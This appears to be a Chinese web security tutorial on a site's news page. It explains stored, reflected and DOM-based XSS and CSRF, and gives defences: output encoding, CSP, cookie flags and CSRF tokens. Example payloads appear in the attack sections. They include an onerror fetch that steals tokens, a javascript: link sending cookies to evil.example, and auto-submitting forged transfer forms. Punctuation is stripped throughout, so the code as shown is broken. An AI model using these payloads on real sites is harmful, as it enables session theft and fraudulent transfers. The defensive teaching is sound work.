首页 / 资讯中心 / 文章详情

XSS与CSRF攻击原理及防御实战:Web安全核心解析

XSS与CSRF攻击原理及防御实战:Web安全核心解析 ★ FEATURED ARTICLE
最近一个朋友的业务系统被安全扫描报告里的一条中危漏洞折腾得够呛一个评论区输入点没做过滤被塞进了一段脚本字符串虽然当时没造成实际损失但排查和加固花了两天时间。这件事让我想把这几年在 Web 安全防护上踩过的坑、验证过的方案好好整理一篇长文。XSS跨站脚本攻击和 CSRF跨站请求伪造是 Web 安全里最经典、也最容易被低估的两个问题我在企业应用、开源系统、云平台的渗透测试和代码审计里都见过它们的身影表面看都是“浏览器里跑东西”但前者是信任用户输入后者是信任浏览器自动携带的请求凭证。这篇文章会把二者的底层原理、三种 XSS 形态、真实攻击链、防御策略和实际部署时的经验结合可复现的实操代码完整拆开讲清楚。适合团队里负责安全编码、需要做系统加固或者正在准备安全评审的研发同学。1. XSS 攻击的底层逻辑与三种常见形态1.1 存储型 XSS持续投毒的后台级风险存储型 XSS 是所有 XSS 变体中危害最稳定、持续周期最长的一种。攻击者将恶意脚本“存储”在服务端比如数据库、缓存、文件系统当其他用户访问相关页面时脚本被原样渲染并执行。为什么说它危险因为受害者往往是不特定的真实用户攻击者不需要单独投递一个带参数的恶意链接只需要找到目标系统的一个输入口提交一次之后每次有人浏览该区域都会中招。我见过一个典型的真实案例某内部 OA 系统在员工信息台账的“备注”字段中用户填写的文本在列表页通过innerHTML直接插入。攻击者在备注中写入img srcx onerrorfetch(/api/profile/export?tokenlocalStorage.getItem(token))当管理员打开台账列表时该员工的 token 被发送到一个域名下。单看一次请求平平无奇但攻击者拿到的是管理员的会话凭证可以进一步接管账号、读取全员的通讯录和薪资数据。整个过程不需要任何提权操作只是把一个输入点从“纯文本”变成了“可执行代码的富文本”。存储型 XSS 的审计难点在于它不一定发生在明显的表单字段还可能出现在 HTTP 头部的 User-Agent、Referer 被记录后展示的场景甚至是日志平台渲染用户代理字符串的位置。我在实际排查中会将所有数据流路径梳理一遍用户可控输入 → 存储介质 → 渲染出口任何缺失“输出编码”的出口都要标记为风险点。对团队而言建立数据流拓扑是比临时修补更高效的长期方案。1.2 反射型 XSS一次点击的大规模钓鱼链反射型 XSS 与存储型的区别在于恶意脚本不持久化而是“反射”在服务端响应中。攻击者将脚本作为参数拼接到 URL 中形如/?qscript...服务端直接把参数值嵌入响应页面受害用户点击该链接后脚本在页面中执行。这类攻击的杀伤力要搭配钓鱼链来看。攻击者会用一个伪装后的短链接将受害者引导到目标站点URL 里带着经编码的恶意参数浏览器解析时触发。某些场景下还能利用现有网站的 302 跳转接口做“开放重定向 XSS”的组合受害者看到的是合法站点域名但页面仍然执行了恶意代码这会显著降低用户的戒心。对反射型 XSS 的防御除了标准的输出编码还要关注 URL 参数是否在服务端日志、错误页面、404 页面中被二次输出。如果网站自定义了 404 页面并将请求路径直接回显就很可能出现一个“路径反射型 XSS”。我在一次审计中就遇到过这种情况系统所有未匹配路由都被重定向到一个统一错误页错误页里用pathname变量展示用户访问的地址但没有进行 HTML 实体转义导致攻击者可以把脚本拼接在路径里使任何访问无效链接的用户在错误页上执行脚本。这个形态的隐蔽性在于研发通常不把异常处理页面视为“模板渲染出口”。1.3 DOM 型 XSS前端框架依赖的双重陷阱DOM 型 XSS 与前两者最大的区别是恶意代码在 DOM 操作阶段触发服务端响应中可能完全不存在可疑内容。整个过程发生在浏览器本地JavaScript 读取location.hash、document.referrer、window.name等“不可信源”再通过innerHTML、eval、document.write或类似 API 将其写入页面。这类问题在传统后端渲染项目中较少见但在前后端分离架构下非常普遍。我排查过的一个案例是前端框架从 URL 的 query 参数读取redirect值再根据该值动态更新登录页的“返回来源”跳转链接。攻击者构造https://某系统/login?redirectjavascript:document.locationhttps://evil.example/steal? document.cookie当用户点击登录页的返回链接时实际执行的是javascript:协议。由于该资源是在页面本地执行而非服务端拼接WAF 无法观测到恶意载荷出现在响应体中。更隐蔽的案例出现在使用v-html、dangerouslySetInnerHTML这类“信任 HTML 字符串”的框架特性时。有些开发为了渲染富文本内容而引入这些 API却没有在前端再做一轮净化。我在方案评审时通常会提出不要在前端用“HTML 字符串拼接组件”的方式来渲染不可信数据如果业务确实需要富文本应该在存储层做白名单标签过滤而非完全依赖前端展示层的换行处理。框架的双向绑定不等于自动安全开发者需要时刻记住“本地读取用户可控数据”的路径也是一个攻击面。2. CSRF 攻击原理与真实攻击链拆解2.1 CSRF 为什么能成功浏览器 COOKIE 的信任陷阱CSRF 的底层逻辑非常直接浏览器在发起跨域请求时会按规定携带本域名下的 Cookie取决于 SameSite 属性而服务端只校验“这个请求带有合法 Cookie”却无法区分该请求是由用户本人真正点击产生的还是由第三方页面里的表单、图片或fetch脚本自动发起的。形象一点说你把家门钥匙放在了门口的鞋柜里浏览器自动携带 Cookie小偷不需要撬锁只需要趁你午睡时从窗户扔一个“指令纸条”构造好的跨站请求钥匙会被自动匹配到门上浏览器自动带上了 Cookie门就开了。服务端的视角里“有钥匙的人”就是主人所以请求被认为是合法的。CSRF 攻击的核心条件是“受害者处于登录状态”以及“目标接口支持自动携带凭证的请求方式”。GET 请求天然成为重灾区例程中的“导出报表”“删除记录”“分配权限”等操作如果以 GET 方式暴露那么攻击者只需要在第三方页面上放一个img srchttps://目标系统/admin/delete?id123受害者浏览器加载图片时就会自动发出该 GET 请求。POST 请求也并非安全避风港。跨域表单提交不受同源策略限制攻击者可以用一个隐藏 iframe 里的表单action指向目标接口受害者进入页面后表单自动 submit同样携带了用户的 Cookie。更需要注意的是 HTTP 请求中大量的 JSON 接口。不禁让人以为跨域请求 JSON 数据会被 CORS 拦截而安全但实际上“发出去”和“读到响应”是两回事——CSRF 攻击只关心请求能不能发出并生效并不需要读取响应内容。2.2 从登录态到转账一次完整的 CSRF 攻击链路拆一个完整的攻击案例能更直观理解 CSRF 的可怕之处。假设某网上银行系统示例用某支付系统代替有一个转账接口POST /api/transfer参数为to_account、amountCookie 中保存有 sessionid接口不做任何额外校验。攻击者在自己的博客上部署如下页面form actionhttps://某支付系统/api/transfer methodPOST idcsrf input typehidden nameto_account valueattacker001 / input typehidden nameamount value10000 / /form script document.getElementById(csrf).submit(); /script受害者只要在另一个标签页里保持着某支付系统的登录态然后无意中打开了这篇博客文章就会被自动执行这个表单提交。浏览器带着该用户真实的 sessionid Cookie 发出请求服务端校验通过钱就从受害者账户转到了攻击者指定的账户。如果目标接口接受 JSON 请求体攻击者也可以用fetch发起fetch(https://某支付系统/api/transfer, { method: POST, headers: { Content-Type: application/json }, credentials: include, body: JSON.stringify({ to_account: attacker001, amount: 10000 }) });虽然fetch跨域会触发 CORS 预检但预检是否被允许并不影响请求发出的动作真正重要的是服务端对携带 Cookie 的接口是否做了 CSRF Token 校验。在实际攻防中只要目标接口不校验Origin/Referer、不使用 Token、Cookie 没有SameSiteLax/Strict限制基本一打一个准。2.3 容易被忽视的登录 CSR F 与 JSONP 变种CSRF 的经典目标通常是有敏感操作的业务接口但登录 CSRF 和 JSONP 型 CSRF 是容易漏掉的两个变种。登录 CSRF 的思路是攻击者在第三方页面诱导受害者向目标系统提交一组“攻击者已知的账号密码”。如果目标系统不做来源校验受害者的浏览器就会以这套伪造的账号成功登录。虽然不直接造成数据泄露但后续受害者若主动输入真实账号密码仍然会因“会话已存在”而被认为已登录用户可能在不知情的情况下在攻击者账户下操作留下操作记录和痕迹为钓鱼攻击创造广阔空间。JSONP 型 CSRF 更偏技术性。老系统中常有提供 JSONP 回调的接口本质上是服务端将一段 JavaScript 包装成“可被跨域加载的脚本”。攻击者可以构造script srchttps://目标系统/user/info?callbackmaliciousFn/script当恶意页面加载这段“JSONP 脚本”时目标系统返回的用户信息就会作为参数传入恶意函数maliciousFn于是攻击者通过 JSONP 接口读取到受害者的敏感信息而这完全绕过了 CORS 对“读响应”的限制。审计时如果接口提供 JSONP 且参数包含敏感数据应将此接口的风险等级直接拉满。3. XSS 防御体系编码、CSP 与 Cookie 安全3.1 上下文相关的输出编码是底线许多团队认为“过滤输入”是防 XSS 的最佳路径其实输出编码更重要。XSS 的本质是数据被注入到 HTML 上下文如标签、属性、事件、脚本区域导致数据内容被解释为代码而输出编码在“渲染出口”这一环防止数据脱离它的“数据身份”,所以对不可信数据的每一次渲染都必须在“对应的上下文中做对应的编码”。HTML 页面中的上下文至少有四种HTML 标签之间、HTML 属性内、JavaScript 字符串内、URL 属性内。每种上下文需要不同的编码方式在 HTML 标签文本中转义 为实体在 HTML 属性内除了上述字符还要注意引号包裹使用属性编码在 JavaScript 字符串内需要进行\uXXXX式的 Unicode 转义避免闭合脚本标签在 URL 中需要 URL 编码同时还要防范javascript:等协议绕过举个例子假设用户在论坛的“昵称”字段填了scriptalert(1)/script服务端输出时需要转成lt;scriptgt;alert(1)lt;/scriptgt;浏览器在渲染时只会显示文本不会执行脚本。但如果前端框架用v-html或dangerouslySetInnerHTML渲染该字段实体也会被解码后重新将 HTML 插入 DOM此时编码就失效了需要配合前端净化。现代后端模板引擎普遍默认开启自动转义比如 Vue 模板的插值语法、Go 的html/template但风险在于开发者无意识地跳过了转义机制。例如 Go 模板中template.HTML强制将字符串标记为安全 HTMLPython Flask 的 Jinja2 中|safe过滤器Java JSP 中% %与老式标签混用都可能将转义“关闭”。审计时我会重点搜索项目中所有|safe、html/template、v-html的出现位置逐一核对输入源与渲染上下文。3.2 CSP 策略从浏览器层面划定执行范围内容安全策略CSP是现代浏览器中非常重要的 XSS 防线。它的核心思想是通过 HTTP 响应头告知浏览器页面只允许加载指定的外部资源和执行指定策略下的脚本从而即使攻击者注入了一段script也无法从同源之外加载恶意代码或者因不合规的unsafe-inline机制被拦截。一个基础且常见的响应头配置Content-Security-Policy: default-src self; script-src self; style-src self unsafe-inline; img-src self data:;这条策略限制了脚本只能从同源加载不允许内联脚本执行不允许动态执行eval和new Function恶意注入的script代码块会被浏览器拦截。对于纯前端项目如果确实需要内联脚本可以考虑 Hash 或 Nonce 方式Content-Security-Policy: script-src self nonce-EDN3spaBrc3iZs3E1W2g;然后在 HTML 中给合法的script标签加上同样的nonce值script nonceEDN3spaBrc3iZs3E1W2g // 合法内联脚本 /script用 nonce 的方式既允许内联脚本运行又阻止了攻击者注入的脚本因为攻击者无法知道每次响应新生成的随机 nonce。注意 nonce 每次响应都应该是随机值不能是写死的常量。CSP 在实践中有个妥协点第三方统计、在线客服等外部工具通常需要加载远程脚本直接设为script-src self会导致功能被拦。更稳妥的做法是单独为可信域名添加白名单如script-src self https://stat.example.com https://chat.example.com但这要求团队对外部脚本域名有严格的信任管控一旦外域被攻破CSP 防护就会同步失效。3.3 HttpOnly、Secure 与 SameSiteCookie 安全的组合拳Cookie 在 XSS 攻击中是主要的窃取目标。攻击者一旦能在页面中执行脚本通常第一反应就是把document.cookie偷走拿到会话凭证。而HttpOnly属性可以阻断脚本对 Cookie 的读取这是赢得纵深防御重要的一着棋。HttpOnly的作用范围限定在“能否被document.cookie读取”它并不能阻止请求自动携带 Cookie也不影响用户正常会话。设置方式很简单Set-Cookie: sessionidabc123; HttpOnly; Secure; SameSiteLax; Path/同一条响应头中Secure保证 Cookie 只在 HTTPS 连接中发送避免被明文抓包SameSite则是应对 CSRF 的关键配置。我将SameSite的三个取值对比整理如下SameSite 值跨站 POST 请求跨站 GET 请求适用场景None会携带会携带跨域单点登录服务Lax不携带仅顶层导航 GET 携带绝大多数业务系统Strict不携带不携带高安全强度的后台系统SameSiteLax是 Chrome 和 Edge 的默认行为也是对 CSRF 最直接有效的浏览器层缓解方案只要攻击页面不在目标站点根域名下跨站 POST 请求就不会携带 Cookie。团队在迁移或上线时应把 Cookie 属性统一通过配置中心下发避免各子系统开发各自设置导致部分接口仍使用SameSiteNone而失去防护。4. CSRF 防御实操Token、SameSite 与请求头验证4.1 Token 机制的密码学原理与落地实现CSRF Token 防御的核心是让服务端可以判断“这个请求确实是在我们自己的页面上发起的”。利用随机且不暴露给第三方的 Token 对请求进行签名是阻断跨站构造请求的标准姿势。原理上攻击者无法获知当前会话的 Token 值也就无法在跨域页面中构造出含有正确 Token 的请求。通常流程是用户登录后生成一个随机 Token 保存在服务端会话中同时在渲染页面表单时写入一个隐藏字段form action/transfer methodPOST input typehidden name_csrf value8f6c92a1e4b7d3 / input nameto_account / input nameamount / button typesubmit提交/button /form服务端接收到 POST 请求后对比请求体中的_csrf与会话中的 Token 是否一致不一致则直接拒绝。在前后端分离架构中更常见的做法是把 Token 放在 Cookie 中命名为csrfToken前端每次请求时通过请求头X-CSRF-Token带回。服务端在鉴权中间件里取 Cookie 值并与请求头比对这是一份完整的 Express 原生 Node 示例const crypto require(crypto); const express require(express); const cookieParser require(cookie-parser); const app express(); app.use(cookieParser()); app.use(express.urlencoded({ extended: true })); const sessions new Map(); app.get(/login, (req, res) { const sessionId crypto.randomBytes(16).toString(hex); const csrfToken crypto.randomBytes(24).toString(hex); // 每个会话生成独立的CSRF Token sessions.set(sessionId, { user: demo, csrfToken }); // Token同时放入Cookie前端可从Cookie读取 res.setHeader(Set-Cookie, [ sessionid${sessionId}; HttpOnly; SameSiteLax; Path/, csrfToken${csrfToken}; Secure; SameSiteLax; Path/ ]); res.send(login success); });function verifyCsrf(req, res, next) { // 从Cookie取也可以从请求头取 const cookieToken req.cookies.csrfToken; const headerToken req.get(X-CSRF-Token); const session sessions.get(req.cookies.sessionid); if ( session cookieToken headerToken session.csrfToken cookieToken session.csrfToken headerToken ) { return next(); } res.status(403).json({ error: CSRF token mismatch }); } app.post(/api/transfer, verifyCsrf, (req, res) { const session sessions.get(req.cookies.sessionid); res.json({ result: transfer ok, user: session.user, to: req.body.to_account }); }); app.listen(3000);这个实现里有两个细节值得注意。一是“双重提交”策略Cookie 中存一份 Token请求头中携带一份 Token服务端校验两者一致且与会话中的一致这样即使采用SameSiteNone跨域攻击者也无法在第三方站点读取到 Cookie 中的 Token自然构造不出补全请求头。二是每个会话的值需要随机生成伪随机数源或固定值会让 Token 失去意义推荐使用crypto.randomBytes之类的密码学安全伪随机数生成器。在实践踩坑中我发现很多团队在实现 Token 校验时只比对是否非空或者直接把 Token 写在前端 localStorage 并允许跨域传递这等于把一个随机数变成了公开值CSRF 防御形同虚设。Token 的保密性是整个机制的立足点务必确保它只在 Response Set-Cookie 下发给本域前端在跨域请求时不能被 JS 读取到。4.2 SameSite Cookie 的正确配置姿势因为令牌机制已经能将绝大多数 CSRF 拦截住为什么还要单独谈SameSite因为它能把防御前置到浏览器端降低应用层压力。尤其对于纯后端渲染的多页应用几乎不加代码即可获得基础防护前提是 Cookie 的设置正确。实践中要注意两个场景第一从.example.com主域切分出的业务子域。比如登录中心在auth.example.com业务站点在www.example.com如果 Cookie 的Domain设置为example.com那么在auth.example.com的页面下也可以携带此 Cookie这扩大了攻击面。在非跨域单点登录场景下建议使用最窄的HostOnly模式即不加Domain属性让 Cookie 仅对精确访问的域名生效。第二老系统升级时常常会遇到“设置SameSiteLax后第三方小游戏无法调用本域接口”的业务报障。此时要分清场景如果业务确实需要跨站请求不应直接退回到SameSiteNone而是考虑把易受攻击的接口改造为POST Token验证并在 Cookie 设置中选择SameSiteNone; Secure再结合之前提到的双重提交策略来做专用接口防护。保持SameSiteLax作为绝大多数接口的默认属性是最稳妥的基线。在边界场景中SameSiteStrict会让用户从外部链接进入站点时首次请求不带 Cookie可能影响跳转和推广渠道的识别Lax会允许“顶层导航 GET”携带 Cookie这也是电商场景下从短信链接点入保持登录的常规选择。对后台管理、内部账号体系等高安全域建议直接使用Strict。4.3 自定义请求头与业务级二次校验还有一种轻量级 CSRF 缓解方案要求所有敏感接口必须携带一个自定义请求头例如X-Requested-With: XMLHttpRequest或X-Client-Auth: 某个项目标识才能被服务端受理。原理很简单跨域请求如果带有自定义请求头浏览器会先触发 CORS 预检而服务端如果没有配置允许该请求头的Access-Control-Allow-Headers预检无法通过浏览器就不会发送实际请求。不过这只是一个“策略缓解”不能作为唯一防线因为同域被 XSS 污染后攻击者一样可以带自定义头另外某些老浏览器版本对预检的处理也有差异。更关键的还是业务层面的二次校验。以转账接口为例在接口总分逻辑上同时加入“近期登录时间超过 X 小时需重新验证密码”“添加新的收件人时邮箱/短信验证码确认”“高风险操作需要独立的一次性验证码”等机制。攻击者即使成功发起了 CSRF 请求也会在业务校验层被卡住。这属于纵深防御的思路即便 Token 和 SameSite 被绕过业务自己的验证码、二次确认、风控策略仍然能兜住。4.4 前后端分离项目的 CSRF 防御清单很多现代前端项目是 SPA由静态资源服务器承载页面接口解析到独立的 API 域名。这种架构下 CSRF 的防护重点会有一点偏移登录接口必须使用POST JSON 方式且不应接受multipart/form-data这类可被表单跨域提交的格式复用所有 Cookie 设置统一的SameSiteLax涉及跨域单点登录时单独放行到指定域名使用请求头X-CSRF-Token双重提交的方案CORS 配置中不要对Access-Control-Allow-Origin使用通配符对 JSON 接口服务端要在请求路由前检查Content-Type是否为application/json拒绝来自 HTML 表单的application/x-www-form-urlencoded、multipart/form-data提交。这个检测能让即使攻击者用古老的表单方式发动请求也会因媒体类型不符被直接拒掉定期检查接口是否还暴露了 GET 型状态变更操作将它们统一收敛到POST、PUT、DELETE5. 常见问题排查实录与最小防守基线5.1 常见误判与排查方向在接手项目做安全巡检时我经常看到团队把问题归错方向。整理几个高频的排查场景第一个场景是“Console 里明明报 CORS 错误系统接口仍然执行了操作”。不少人以为跨域请求被 CORS 拦截了就认为自己不受 CSRF 影响。实际上预检失败拦截的是“读取响应”但请求本身可能已经被处理了尤其对于某些不进行 OPTIONS 预检的简单请求。排查时需要查看服务端日志确认请求是否到达了业务逻辑层而不仅是看浏览器报错。第二个场景是“明明用了 Token为什么 CSRF 测试还是失败”。常见原因是 Token 放在 localStorage 里前端 JS 全局可读而攻击者通过 XSS 直接读取到 Token 后是可以代入请求的或 Token 没有随会话作废用户登出后再次登录Token 不变旧链接依然有效。排查时要验证“登出后再登录Token 是否已更新”。第三个场景是“WAF 规则明明过滤了script为什么 XSS 还成功”。因为攻击者不需要写script标签可以只用svg/onload...、img srcx onerror...这样的标签或者通过 DOM 型 XSS 在本地拼接WAF 根本看不到 payload。这时候需要审查渲染出口特别是前端对 HTML 字符串的处理。将这些高频问题整理成一张排查速查表方便团队自查现象可能根因优先排查方向跨域请求后操作生效CORS 拦了响应没拦请求日志确认请求到达业务层检测 Content-TypeXSS 注入无法回显输出已被编码或 WAF 拦截检查渲染上下文与模板编码方式存入的 HTML 标签被实体化输出编码生效正常防御确认这是预期行为而非故障Token 校验总失败Token 未随会话更新检查首次登录时是否生成并绑定 Token带上 Token 依然被 CSRFToken 来源可被脚本读取检查是否放入了 localStorage 且全局可读页面内联脚本全部被拦CSP 设置了 unsafe-inline 限制使用 nonce 或 hash 放行合法脚本5.2 一次演练中的踩坑实录前阵子在模拟项目 X 上做了一次安全加固演练我带着团队完整复现了“某内容后台”的整个防护闭环。有几个细节非常值得单独写出来。开始阶段开发同学认为凡是通过fetch发起请求就一定安全理由是“跨域请求会被 CORS 拦截”。我们实际上在一个攻击者域名页面里针对目标站的“发布文章”接口发起了 POST JSON 请求用credentials: include结果接口直接 200。原因就是后端接口没有校验Origin头也没有拒绝非白名单的跨源调用。请求确实能到达业务逻辑响应内容浏览器拦截了但“发布文章”这个动作确实生效了。这一幕算是给团队上了很好的一课。随后我们在发布接口上加入了双 Token 校验但第一次自测时发现 Token 永远校验不过。排查了一下午才发现前端在请求时读取 Cookie 中的csrfToken但后端生成的 Cookie 设置了SameSiteLax在本地测试的localhost:8080与localhost:3000之间属于“跨站”Lax模式下 Cookie 不会送到 API 域于是前端读不到 Token。这个问题的解法是在开发环境单独允许跨站携带或改用请求头传递而不是在 Cookie 上放宽SameSiteNone。演练环境的域名隔离策略需要提前统一约定开发联调时所有域名都放在同一个主域下如app.example.com和api.example.comCookie 归属主域前后端配合才不会出现环境差异。最深刻的教训还是 CSP 策略的灰度发布团队一开始把所有页面的内联脚本全部设为self导致老页面中的统计代码和外联 SDK 全部失效线上告警一片。后来我们采用“先开报告模式”——Content-Security-Policy-Report-Only只上报违规不拦截跑了两周观察生产环境的违规日志逐步加入白名单后再正式切换。这个策略对存量系统来说非常建议直接上线新策略几乎必然炸掉一批第三方脚本。5.3 最小防守基线清单经过上面这么多讨论其实核心问题始终是对于一个资源有限的团队至少应该做到什么才算合格我根据自己的巡检经验给出一份“最小防守基线”不至于让团队被过度安全审计拖垮也能挡住绝大多数常见攻击所有用户输入不可信在存储前做业务校验在校验后保持“原貌存储”不要试图通过过滤黑名单来消除风险正确的姿势是在输出时按上下文编码模板渲染默认转义后端模板引擎的自动转义不要随便关闭前端框架的v-html和dangerouslySetInnerHTML使用前必须检查输入源Cookie 统一加HttpOnly; Secure; SameSiteLax不跨域共享的会话 Cookie 不要给Domain属性敏感操作接口必须为POST并且校验双重提交 Token内容类型固定为application/json非白名单来源一律拒绝给全站加上 CSP 响应头优先用Report-Only灰度上线再把违规告警接入日常监控在网关层对所有经过的响应做“X-XSS-Protection: 0”或直接无果头保护但不要依赖于 X-XSS-Protection 作为主防线它的兼容性和一致性有限这套基线覆盖了 90% 的常见攻击路径实施成本不高却能让系统在渗透测试中的风险分数明显下降。团队如果连这几条都没有覆盖我的建议是先把它们当作安全迭代的第一优先级排期。围绕整套方案我再分享一个实际感受防御 XSS 与 CSRF 不是“上线前补一下”的任务而是每次迭代都要回看的安全基线。在我负责的项目里安全要求是与业务需求一同进入迭代排期的哪怕只是新增一个查询接口也要走一遍“输入校验、输出编码、Cookie 属性、接口方法约束”的检查清单。这听起来繁琐但真的能让研发在写代码时就习惯性地规避风险避免在最后的安全评审阶段大返工。希望这篇整理能帮你避开那些我已经踩过的坑给你的系统加上一层踏实的防护。
阅读完成 · 觉得有帮助?
咨询建站